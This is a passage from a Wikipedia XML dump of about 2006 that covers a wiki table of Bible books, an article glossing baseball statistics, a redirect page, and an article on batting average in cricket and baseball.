| bgcolor=&quot;#ffffcc&quot; | [[Book of Micah|Micah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Micah|Micah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Nahum|Nahum]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Nahum|Nahum]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Nahum|Nahum]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Habakkuk|Habakkuk]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Habakkuk|Habakkuk]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Habakkuk|Habakkuk]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zephaniah|Zephaniah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zephaniah|Zephaniah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zephaniah|Zephaniah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Haggai|Haggai]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Haggai|Haggai]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Haggai|Haggai]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zechariah|Zechariah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zechariah|Zechariah]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Zechariah|Zechariah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ffffcc&quot; | [[Book of Malachi|Malachi]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Malachi|Malachi]]
| bgcolor=&quot;#ffffcc&quot; | [[Book of Malachi|Malachi]]
|- align=&quot;center&quot;
| colspan=&quot;4&quot; rowspan=&quot;1&quot; bgcolor=&quot;#ffffff&quot; | ''[[Ketuvim]] or Writings''&lt;sup&gt;[[Books of the Bible#Notes|10]]&lt;/sup&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Psalms]]
| colspan=&quot;3&quot; rowspan=&quot;12&quot; | &lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Proverbs|Proverbs]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Job|Job]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Song of Songs]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Ruth|Ruth]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Lamentations|Lamentations]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Ecclesiastes]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Esther|Esther]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Daniel|Daniel]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Book of Ezra|Ezra]]/[[Book of Nehemiah|Nehemiah]]
|- align=&quot;center&quot;
| bgcolor=&quot;#ff6666&quot; | [[Books of Chronicles|Chronicles]]
|}

(*) These books are present in a different order.

== New Testament books shared by many modern Christian groups ==
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot;
|- align=&quot;center&quot;
| valign=&quot;top&quot; | ''The [[Gospels]]''&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff9900&quot; valign=&quot;top&quot; | [[Gospel of Matthew|Matthew]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff9900&quot; valign=&quot;top&quot; | [[Gospel of Mark|Mark]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff9900&quot; valign=&quot;top&quot; | [[Gospel of Luke|Luke]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ff9900&quot; valign=&quot;top&quot; | [[Gospel of John|John]]&lt;br&gt;
|- align=&quot;center&quot;
| valign=&quot;top&quot; | ''The History''
|- align=&quot;center&quot;
| bgcolor=&quot;#0099FF&quot; valign=&quot;top&quot; | [[Acts of the Apostles|Acts]]&lt;br&gt;
|- align=&quot;center&quot;
| valign=&quot;top&quot; | ''The Letters of [[Paul of Tarsus|Paul]]''&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Epistle to the Romans|Romans]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[1 Corinthians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[2 Corinthians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Galatians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Epistle to Ephesians|Ephesians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Philippians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Colossians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[1 Thessalonians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[2 Thessalonians]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[1 Timothy]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[2 Timothy]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Epistle to Titus|Titus]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#ffff33&quot; valign=&quot;top&quot; | [[Epistle to Philemon|Philemon]]&lt;br&gt;
|- align=&quot;center&quot;
| valign=&quot;top&quot; | ''The General Letters''&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[Epistle to the Hebrews|Hebrews]]&lt;sup&gt;[[#Notes|11]]&lt;/sup&gt;&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[Epistle of James|James]]&lt;sup&gt;[[#Notes|11]]&lt;/sup&gt;&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[1 Peter]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[2 Peter]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[1 John]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[2 John]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[3 John]]&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#669966&quot; valign=&quot;top&quot; | [[Epistle of Jude|Jude]]&lt;sup&gt;[[#Notes|11]]&lt;/sup&gt;&lt;br&gt;
|- align=&quot;center&quot;
| valign=&quot;top&quot; | ''Apocalypse''&lt;br&gt;
|- align=&quot;center&quot;
| bgcolor=&quot;#FF33FF&quot; valign=&quot;top&quot; | [[Book of Revelation|Revelation of Christ to John]]&lt;sup&gt;[[#Notes|11]]&lt;/sup&gt;&lt;br&gt;
|}

The [[Ethiopian Orthodox Church]] has a few additional books in its canon: [[Jubilees]], [[Book of Enoch]], the [[Shepherd of Hermas]], [[Epistles of Clement|1 Clement]], [[Acts of Paul]], and some uniquely Ethiopian books. There is a matter of some controversy as to what constitutes &quot;canon&quot; in this religious body. The [[Peshitta]] of the [[Syriac Orthodox Church]] excludes 2-3 John, 2 Peter, Jude, and Revelation. The [[Armenian Orthodox]] include [[Third Epistle to the Corinthians]].

== Notes ==
Return links: [[#The Tanakh and the Protestant, Roman Catholic, and Eastern Orthodox Old Testaments|Tanakh/Old Testament]] &amp;mdash; [[#The New Testament of all Christians|New Testament]]

&lt;sup&gt;1&lt;/sup&gt; This book is not in the Protestant Old Testament.
&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; The Catholic and Orthodox Book of Esther includes 103 verses not in the
Protestant Book of Esther.
&lt;br&gt;
&lt;sup&gt;3&lt;/sup&gt; In Catholic Bibles, Baruch includes a sixth chapter
called the [[Letter of Jeremiah]]. Baruch is not in the
Protestant Old Testament.
&lt;br&gt;
&lt;sup&gt;4&lt;/sup&gt; In Catholic and Orthodox Bibles, Daniel includes three
sections not included in Protestant Bibles. [[The Prayer of Azariah and Song of the Three Holy Children]]
are included between Daniel
3:23-24. [[Susanna (Book of Daniel)|Susanna]] is included as Daniel 13. [[Bel and the Dragon]]
is included as Daniel 14. These are not in the Protestant Old Testament.
&lt;br&gt;
&lt;sup&gt;5&lt;/sup&gt; The [[Latin Vulgate]] and the [[Douay-Rheims]] place First and Second Maccabees after Malachi instead of Esther.&lt;br&gt;
&lt;sup&gt;6&lt;/sup&gt; These books are not in the Protestant and Catholic Old Testaments.&lt;br&gt;
&lt;sup&gt;7&lt;/sup&gt; The Book of Odes includes the [[Prayer of Manasseh]]. This book is not present in the Catholic or Protestant Old Testaments.&lt;br&gt;
&lt;sup&gt;8&lt;/sup&gt; Eastern Orthodox Bibles have the books of Baruch and the Letter of Jeremiah separate.&lt;br&gt;
&lt;sup&gt;9&lt;/sup&gt;The Eastern Orthodox church adds one extra [[Psalm 151|Psalm]] to the Book of Psalms.&lt;br&gt;
&lt;sup&gt;10&lt;/sup&gt;These books are found among the historical and wisdom books of the Christian canons.&lt;br&gt;
&lt;sup&gt;11&lt;/sup&gt;[[Martin Luther (religious leader)|Martin Luther]] wished to remove these books from the canon, but this did not occur. Nonetheless, in [[German language|German]] editions of Luther's Bible, these are printed at the end of the New Testament, rather than the order given above.&lt;br&gt;
&lt;sup&gt;12&lt;/sup&gt;The Eastern Orthodox church follows the Septuagint and the Hebrew bibles by considering the books of Ezra and Nehemiah as one book.&lt;br&gt;
&lt;sup&gt;13&lt;/sup&gt;Names in brackets are the Septuagint names and are often used by the Orthodox Christians.&lt;br&gt;

==See also==

*[[Apocrypha]]
*[[Deuterocanonical books]]
*[[Bible]]
*[[Bible citation]]
*[[Biblical canon]]
*[[Judaism]]
*[[Christianity]]
*[[Major prophets]]
*[[Minor prophets]]

==External links==
* [http://www.staycatholic.com/the_canon_of_scripture.htm The Canon of Scripture &amp;ndash; a Catholic perspective]
* [http://www.tau.ac.il/humanities/bible/Pdf/books%20of%20the%20bible.htm Table of Old Testament Books] - includes Latin, English, Hebrew and abbreviated names (from [[Tel Aviv University]]).
* [http://www.plymouthbrethren.org/passage.asp Articles on Various Books from Biblical Resource Database]
* [http://www.chabad.org/article.asp?aid=63255 Judaica Press Translation - Online Jewish translation of the books of the Bible.] The Tanakh and [[Rashi]]'s entire commentary.
*[http://www.mybiblescripture.com/ Books of the Bible] King James(KJV) and Revised Standard Version(RSV) searchable Bibles

[[category:Christian texts]]
[[category:Jewish texts]]
[[Category:Bible]]

[[de:Liste der Bücher der Bibel]]
[[et:Piibli raamatute loetelu]]
[[el:Βιβλία της Αγίας Γραφής]]
[[es:Libros de la Biblia]]
[[fr:Liste des livres de la Bible]]
[[hu:A Biblia könyvei]]
[[nl:Bijbelboek]]
[[sk:Zoznam kníh Biblie]]
[[fi:Luettelo Raamatun kirjoista]]</text>
    </revision>
  </page>
  <page>
    <title>Baseball statistics</title>
    <id>3797</id>
    <revision>
      <id>41904312</id>
      <timestamp>2006-03-02T14:33:31Z</timestamp>
      <contributor>
        <username>Djramey</username>
        <id>588327</id>
      </contributor>
      <text xml:space="preserve">As with many sports, and perhaps even more so, '''statistics''' are very important to '''[[baseball]]'''. A seemingly intrinsic part of the game is the keeping of [[statistics]] on the achievements of the players.  

The practice was started by [[Henry Chadwick]] in the [[19th century]] who devised the concepts of [[batting average]] and [[earned run average]] based on his experience of [[cricket]]. Statistics have been kept for the Major Leagues since their creation.

General managers and [[scout (sport)|baseball scouts]] study player statistics to decide what players to try to get for their team. Managers, catchers and pitchers study statistics of batters on opposing teams to figure out how best to pitch to them and [[baseball positioning|position the players]]. Managers and batters study opposing pitchers to figure out how best to hit them. Managers often base their personnel decisions during the game on statistics, such as choosing who to put in the lineup, or which [[relief pitcher]] to bring in.

Traditionally, statistics like batting average for batters (the number of hits divided by the number of at bats) and earned run average (approximately the number of runs given up by a pitcher per nine innings) have governed the statistical world of baseball. However, the advent of [[sabermetrics]] brought an onslaught of new statistics that better gauge a player's performance and contributions to his team from year to year.  

Some sabermetric statistics have entered the mainstream baseball world. Among statistics that do an excellent job of measure a batter's performance, [[On-base plus slugging]] (OPS) is the easiest to calculate. It adds the hitter's [[on base percentage]] ([hits + walks + number of times [[hit by pitch]]es] divided by [number of times at bat + walks + number of times hit by a pitch + number of sacrifice flies]) to his or her [[slugging percentage]] ([[total bases]] divided by at bats).  Some argue that the OPS formula is flawed and that more weight should be shifted towards OBP (on base percentage).  Regardless, OPS still stands as the most direct means of evaluating a hitter's performance using readily available statistics.

OPS is also useful when determining a pitcher's level of success.  'Opponent On-base Plus Slugging' (OOPS) is becoming a popular way to evaluating a pitcher's actual performance.  When analyzing a pitcher's statistics, some useful categories to consider are: K/9 (strikeouts per nine innings), K/BB (strikeouts per walk), WHIP (walks+hits per inning pitched) and OOPS (opponent on-base plus slugging).  When viewing all these categories together, you gain a much clearer picture of the pitcher's success level (as opposed to simply considering W-L and ERA).

Since 2001, more emphasis has been placed on [[Defense independent pitching statistics | Defense-Independent Pitching Statistics]]. These statistics, such as Defense-Independent ERA (dERA), evaluate a pitcher solely according to those events governed solely by the pitcher's performance, regardless of the strength of the defensive players behind him.

Also important are all of those statistics in certain in-game situations. For example, a certain hitter's ability to hit left-handed pitchers might cause his manager to give him more chances to face lefties. Other hitters may have a history of success against a given pitcher (or vice versa), and the manager may use this information to engineer a favourable matchup.

Comprehensive, historical baseball statistics were difficult for the average fan to access until [[1951]], when researcher Hy Turkin published &quot;The Complete Encyclopedia of Baseball&quot;. In 1969, MacMillan Publishing printed its first [[Baseball Encyclopedia]], using a [[computer]] to compile stats for the first time. &quot;Big Mac&quot; became the standard baseball reference until 1988, when [[Total Baseball]] was released by Warner Books, using even more sophisticated technology. (This led to discovery, and expulsion, of several players who didn't belong in the record books -- &quot;phantom ballplayers&quot;, like [[Lou Proctor]].)

==Commonly used statistics==
Most of these terms also apply to [[softball]]. Commonly used statistics with their [[abbreviation]]s are explained here. The explanations below are for quick reference and do not fully or completely define the statistic; for the strict definition, see the corresponding article for each statistic.
===Batting statistics===
* 1B - [[Single (baseball)|Single]] - hits on which the batter reached first base safely without the contribution of a [[Error (baseball)|fielding error]].
* 2B - [[Double (baseball)|Double]] - hits on which the batter reached second base safely without the contribution of a [[Error (baseball)|fielding error]].
* 3B - [[Triple (baseball)|Triple]] - hits on which the batter reached third base safely without the contribution of a [[Error (baseball)|fielding error]].
* AB - [[At bat]] - Batting appearances, not including bases on balls, hit by pitch, sacrifices, interference, or obstruction
* BA - [[Batting average]] (also abbreviated ''AVG'') - hits divided by at bats
* BB - [[Base on balls]] (also called a &quot;walk&quot;) - times receiving four balls and advancing to first base
* BBP - [[Walk percentage]] - number of base on balls divided by plate appearances
* BB/SO - [[Walk-to-strikeout ratio]] - number of base on balls divided by number of strikeouts
* EBH - [[Extra base hit]]  (Sometimes EB or XBH) -  doubles plus triples plus home runs
* FC - [[Fielder's choice]] - times reaching base when a fielder chose to try for an out on another runner
* G/F - [[Ground ball fly ball ratio]] - number of ground balls divided by number of fly balls
* GIDP - [[Double play|Ground into Double play]] - number of ground balls hit that became double plays
* GS = [[grand slam (baseball)|Grand Slam]] - a [[home run]] with the bases loaded, resulting in four runs scoring, and four [[Run batted in | RBI]] credited to the batter.
* H - [[Hit (baseball)|Hit]] - times reached base because of a batted, fair ball without error by the defense
* HBP - [[Hit by pitch]] - times touched by a pitch and awarded first base as a result
* HR - [[Home run]] - hits on which the batter successfully touched all four bases, without the contribution of a [[Error (baseball)|fielding error]].
* LOB - [[Left on base]] - number of runners not out nor scored at the end of an innning.
* OBP - [[On base percentage]] - times reached base (H + BB + HBP) divided by at bats plus walks plus hit by pitch plus sacrifice flies (AB + BB + HBP + SF). 
* OPS - [[On-base plus slugging]] - on-base percentage plus slugging percentage
* PA - [[Plate appearance]] - number of completed batting appearances no matter the result
* RBI - [[Run batted in]] - number of runners who scored due to a batters's action, except when batter grounded into double play or reached on an error
* SAC - [[Sacrifice bunt]] - number of times bunts advanced other runners (someitmes called ''sacrifice hit'' or SH)
* SF - [[Sacrifice fly]] - number of fly ball outs which allow another runner to score
* SLG - [[Slugging percentage]] - total bases divided by at-bats
* SO - [[Strike out]] (also abbreviated ''K'') - number of times that strike three is taken or swung at and missed, or bunted foul
* TB - [[Total bases]] - one for each single, two for each double, three for each triple, and four for each home run
* TOB - [[Times on base]] - times reaching base as a result of hits, walks and hit by pitches

===Baserunning statistics===
* CS - [[Caught stealing]] - times tagged out when attempting to steal a base or when picked off
* SB - [[Stolen base]] - number of bases advanced other than on batted balls, walks, or hits by pitch.
* R - [[Run (baseball)|Run]] - times reached home base legally and safely

===Pitching statistics===
* AVG - [[Opponents batting average]] - hits allowed divided by at-bats faced
* BB - [[Base on balls]] (also called a &quot;walk&quot;) - times pitching four balls, allowing runner to advance to first base
* BB/9 - [[Walks|Base on balls]] times nine divided by innings pitched
* BS - [[Blown save]] - number of times entering the game in a [[save (baseball statistics)|save]] situation, and being charged the run which ties the game.
* CG - [[Complete game]] - number of games where player was the only pitcher for his team
* dERA - [[Defense-Independent ERA]] - a measure of a pitcher's effectiveness that doesn't include balls hit within the field of play
* ER - [[Earned run]] - number of runs that did not occur as a result of errors or passed balls
* ERA - [[Earned run average]] - earned runs times innings in a game (usually nine) divided by innings pitched
* GIR - [[Games in relief]] - number of games pitched where player was not the starting pitcher for his team
* GF - [[Games finished]] - number of games pitched where player was the final pitcher for his team
* GP - [[Games pitched]] - number of games in which the player pitched
* G/F - [[Ground ball fly ball ratio]] - ground balls allowed divided by fly balls allowed
* GS - [[Games started]] - number of games pitched where player was the first pitcher for his team
* H/9 - [[Hits per nine innings]] - hits allowed times nine divided by innings pitched
* HA - [[Hits Allowed]] - total hits allowed
* HB - [[Hit by pitch|Hit batsman]] - times hit a batter with pitch, allowing runner to advance to first base
* HLD (or H) - [[Hold (baseball statistics)|Hold]] - number of games entered in a save situation, left in save situation, recorded at least one out, and not having surrendered the lead
* HRA - [[Home runs allowed]] - total home runs allowed
* IBB - [[Intentional base on balls]] 
* IRA - [[Inherited runs allowed]] - number of runners allowed to score who were on base when pitcher enters the game
* IP - [[Innings pitched]] - number of outs recorded while pitching divided by three
* L - [[Win (baseball)|Loss]] - number of games where pitcher was pitching while the opposing team took the lead and went on to win
* R/9 - [[Runs per nine innings]] - number of runs allowed times nine divided by innings pitched
* SHO - [[Shutout]] - number of complete games having allowed zero runs
* SO - [[Strikeout]] (also abbreviated ''K'') - number of batters who received strike three
* SO/9 - [[Strikeouts per nine innings]] - strikeouts times nine divided by innings pitched
* SO/BB - [[Strikeout-to-walk ratio]] - number of strikeouts divided by number of base on balls
* SV - [[Save (sport)|Save]] - number of close games finished where the pitcher's team won
* TBF - [[Total batters faced]] - opponent's total plate appearances
* W - [[Win (baseball)|Win]] - number of games where pitcher was pitching while his team took the lead and went on to win (also related: '''winning percentage''')
* W+S - [[Relief wins plus saves]] - wins plus saves
* WHIP - [[Walks plus hits per inning pitched]] - bases on balls plus hits divided by innings pitched
* W/9 - [[Walks per nine innings]] - bases on balls times nine divided by innings pitched
* WP - [[Wild pitch]]es - charged when a pitch is too high, low, or wide of home plate for the catcher to field, thereby allowing one or more runners to advance or score

'''See also'''
*[[Pitch (baseball)|List of pitches]]

===Fielding statistics===
* A - [[Assist (baseball statistics)|Assists]] - number of outs recorded on a play where a fielder touched the ball, except if such touching is the putout
* CS - [[Caught stealing]] - number of times a runner was thrown out by the catcher while attempting to advance on a pitch
* DP - [[Double plays]] - one for each double play during which the fielder recorded a putout or an assist.
* E - [[Error (baseball statistics)|Errors]] - number of times a fielder fails to make a play he should have made with common effort, and the offense benefits as a result
* FP - [[Fielding percentage]] - total plays (chances minus errors) divided by the number of total chances
* INN - [[Innings]] - number of innings that a player is at one certain position
* PB - [[Passed ball]] - error charged to the catcher that occurs when the ball is dropped and one or more runners advance
* PO - [[Putout]] - number of times the fielder tags, forces, or appeals a runner and he is called out as a result
* RF - [[Range factor]] - ([putouts + assists]*9)/innings played. Used to determine the amount of field that the player can cover
* SB - [[Stolen base]]s - number of times a runner advanced on the pitch without being thrown out by the catcher
* TC - [[Total chances]] - assists plus putouts plus errors
* TP - [[triple play (baseball)|Triple play]] - one for each triple play during which the fielder recorded a putout or an assist

===General statistics===
* G - [[Games played]] - number of games where the player played, in whole or in part
* WW - &quot;Wasn't Watching&quot; - used by non-official scorekeepers when their attention is distracted from the game - said to have been invented by [[Phil Rizzuto]]

==See also==
* [[Triple crown (baseball)|Triple Crown in Major League Baseball]]
* [[MLB Most Valuable Player Award]] winners
* [[Cy Young Award]] winners
* [[MLB Rookie of the Year Award]] winners
* [[Gold Glove Award]] winners

==Other terminology==
* [[Ball (baseball statistics)|Ball]]
* [[Strike (baseball statistics)|Strike]]
* [[Strike zone]]

[[da:Baseballstatistikker]]

[[Category:Baseball]]</text>
    </revision>
  </page>
  <page>
    <title>Earned Run Average</title>
    <id>3798</id>
    <revision>
      <id>15902113</id>
      <timestamp>2003-06-10T17:24:24Z</timestamp>
      <contributor>
        <username>Wapcaplet</username>
        <id>6264</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Earned run average]]</comment>
      <text xml:space="preserve">#REDIRECT [[Earned run average]]</text>
    </revision>
  </page>
  <page>
    <title>Batting average</title>
    <id>3799</id>
    <revision>
      <id>35534250</id>
      <timestamp>2006-01-17T12:55:12Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>tighten</comment>
      <text xml:space="preserve">'''Batting average''' is a [[statistic]] in both [[baseball]] and [[cricket]] measuring the performance of [[hitter|baseball hitters]] and [[batsman|cricket batsmen]], respectively. The two statistics are related, in that baseball averages are directly descended from the concept of cricket averages.

The term ''batting average'' is also used in non-sporting contexts to represent various statistical measures of performance.

==Cricket==
[[Image:CricketBattingAverageHistogram.gif|frame|right|International cricket career batting averages (Jan 2004). Note [[Donald Bradman|Bradman]]'s Test average of 99.94.]]
In cricket, a player's '''batting average''' is the total number of [[run (cricket)|runs]] he has scored divided by the number of times he has been [[dismissal (cricket)|out]]. Since the number of runs a player scores and how often he gets out are primarily measures of his own playing ability, and largely independent of his team mates, batting average is a good statistic for describing an individual player's skill as a batsman. The number is also simple to interpret intuitively, being approximately the average number of runs the batsman scores per innings. Batting average has been used to gauge cricket players' relative skills since the [[18th century]].

Most players have batting averages in the range 10 to 50:
*Between 30 and 50 is typical for specialist [[batsman|batsmen]].
*[[All-rounder]]s who are better with the bat might also have averages in this range. This is also the desirable range for [[wicket-keeper]]s, though some fall short and make up for it with fielding skill.
*All-rounders who are more prominent [[Bowler (cricket)|bowler]]s than batsmen typically average something between 15 and 30.
*15 and under is typical for specialist bowlers.

Career records for batting average are usually subject to a minimum qualification of at least 20 [[innings]] played. This is because it is easy to sustain an artificially high average over a career spanning few matches. Under this qualification, the highest [[Test cricket|Test]] batting average belongs to [[Australia]]'s [[Donald Bradman|Sir Donald Bradman]], with 99.94. Given that a career batting average over 50 is exceptional, and that only [[List of Test cricket records#Highest career average|three other players]] have averages (barely) over 60, this is an outstanding statistic. The fact that Bradman's average is so far above that of ''any'' other cricketer has led several statisticians to argue that, statistically at least, he was the greatest sportsman in any sport.

Batting averages in [[One-day International]] (ODI) cricket tend to be lower than in Test cricket, because of the need to score runs more quickly and the lesser emphasis on building a large innings.

Some cricket followers have noted that the batting average is inflated by the number of not-outs (innings in which the batsman has not been dismissed), and argue that a better measure of a batsman's quality is the number of runs scored divided by the number of innings played. This proposed statistic has never been given an accepted name and is not commonly used by cricket fans or commentators. It may have the disadvantage that it would ''deflate'' the apparent quality of lower-order batsmen who are often not out but are rarely given the chance to bat for long.

A different, and more recently developed, statistic which is also used to gauge the effectiveness of batsmen is the [[strike rate]]. It measures a different concept however - how quickly the batsman scores - so does not supplant the role of batting average.

===See also===
* [[Cricket statistics]]

==Baseball==
{{sabermetric | formula = &lt;math&gt;AVG=\frac{H}{AB}&lt;/math&gt;}}

In baseball, the '''batting average''' is defined as the ratio of [[Hit (baseball statistics)|hits]] to [[at bat]]s. 

[[Henry Chadwick]], an [[England|English]] statistician raised on cricket, was an influential figure in the early history of baseball. In the late [[19th century]] he adapted the concept behind the cricket batting average to devise a similar statistic for baseball. Rather than take the naive approach and simply copy cricket's formulation of [[run (baseball)|run]]s scored divided by [[out (baseball)|out]]s, he realised that hits divided by at bats would provide a better measure of individual batting ability. This is because of an intrinsic difference between the two sports; scoring runs in cricket is dependent almost only on one's own batting skill, whereas in baseball it is largely dependent on having other good hitters in your team. Chadwick noted that hits are independent of team mates' skills, so used this as the basis for the baseball batting average. His reason for using at bats rather than outs is less obvious, but it leads to the intuitive idea of the batting average being a percentage reflecting how often a batter gets on base, whereas hits divided by outs is not as simple to interpret in real terms.

In modern times, a [[season (sport)|season]] batting average higher than .300 is considered to be good, and an average higher than .400 a nearly unachievable goal. The last player to do so, with enough at bats to qualify for the batting championship, was [[Ted Williams]] of the [[Boston Red Sox]], who hit .406 in [[1941]].

[[Ty Cobb]] holds the record for highest career batting average. Some hold his lifetime average as .366 others as .367, 8-9 points higher than [[Rogers Hornsby]] who has the second highest average in history at .358. Cobb's career batting average record will probably never be broken, since even the best of modern hitters find it difficult to hit higher than .360 in more than one or two seasons, let alone consistently throughout their entire careers.

For non-pitchers, a batting average below .250 is poor, and one below .200 is totally unacceptable. This latter level is known as &quot;The [[Mendoza Line]]&quot;, named either for [[Mario Mendoza]], a stellar defensive shortstop who hit .215 during his Major League career, or for Minnie Mendoza, also a shortstop, who was a long-time minor-league player who finally reached the majors briefly in [[1970]] at the age of 36 and hit .188 in 16 games. The league batting average in Major League Baseball for [[2004 in baseball|2004]] - the most recent completed season - was just higher than .266, and the all-time league average is between .260 and .275.

The [[Major League Baseball]] batting average championship (often referred to as &quot;the Batting Title&quot;) is awarded to the player in each league who has the highest batting average with at least 3.1 [[plate appearance]]s per game that his team has played during a season. Ty Cobb also holds the record for most Batting Titles, winning 12 in his pro career.

[[Sabermetrics]] considers batting average a weak measure of performance because it does not correlate as well as other measures to runs scored. Batting average does not take into account walks or power, whereas newer statistics like [[slugging percentage]] have been specifically designed to measure such concepts. Others would say it is the most important measure of the performance of a hitter, since it takes into account his consistency and his ability to perform as an individual independent of what his team mates have done.  measuring individual performance rather than runs scored was in fact Chadwick's goal in devising the statistic.

In [[1887 in baseball|1887]], [[Major League Baseball]] counted [[Base on balls|bases on balls]] as [[Hit (baseball)|hits]].  The result was skyrocketed batting averages, including some near .500, and the experiment was abandoned the following season.

===The decline of the .400 hitter===
A point of interest to baseball followers is that hitting .400 was special and rare feat in the early 20th century. It was accomplished only 13 times between 1900-1941 by 8 players, but has not occurred at all since 1941. Many people have expounded theories on why this is the case.

One theory of particular interest was proposed by biologist and baseball fan [[Stephen Jay Gould]], who applied his knowledge of biological [[statistical population|population]] statistics to the question. Many scientists believe that the range of a given species will tend to decrease through time. That is, the average difference between the tallest and shortest members of a species will tend to decline through time; the difference between the fastest-running and the slowest members will tend to decline; and so on.

Gould argued in his book ''Full House: The Spread of Excellence from Plato to Darwin'' (published as ''Life's Grandeur: The Spread of Excellence from Plato to Darwin'' in the [[United Kingdom|U.K.]]) that the evolution of baseball batting averages has mimicked this behaviour. In other words, the difference between the strongest hitters and the weakest hitters has declined as a natural consequence of the improvement of baseball skills over time. Not only has the .400 hitter disappeared; so has the .150 hitter. Thus the evolution of baseball players can be said to mimic other [[evolution|evolutionary]] groups.

Although Gould makes a persuasive argument, his theory does not account for the fact that the highest Test cricket batting averages have remained around 60 since the 19th century (with the single notable exception of Bradman), and the lowest around 10. One may conclude that the evolution of sports statistics over time relies on more factors than simple population statistics.

It is also important to note that pitching strategies have changed dramatically since the era of the .400 hitter.  Since the 1950s, pitchers have increasingly tried to strike out hitters, rather than get the hitter to put the ball in play.  Hitters also more frequently try to hit home runs, which leads to more strikeouts, but in many cases greater offensive production.  Also, it is more acceptable to pitch around strong hitters, and to stop throwing strikes after the first two are thrown in a plate appearance, to try to get the hitter to swing at a ball.  Lastly, managers now use many more relievers in an average game.  This means that hitters see the same pitcher fewer times in a game (losing the advantage of familiarity), and are more likely to face a fresh pitcher, and even a specialist pitcher brought into a game just to get that specific hitter out.

In general, all of these factors either increase strikeout or walk totals, both of which make it much more difficult to achieve a high ratio of hits to at bats, relative to earlier eras of baseball.

===See also===
*[[Baseball statistics]]

==Other contexts==
Following from usage in cricket and baseball, '''batting average''' has come to be used for other statistical measures of performance.

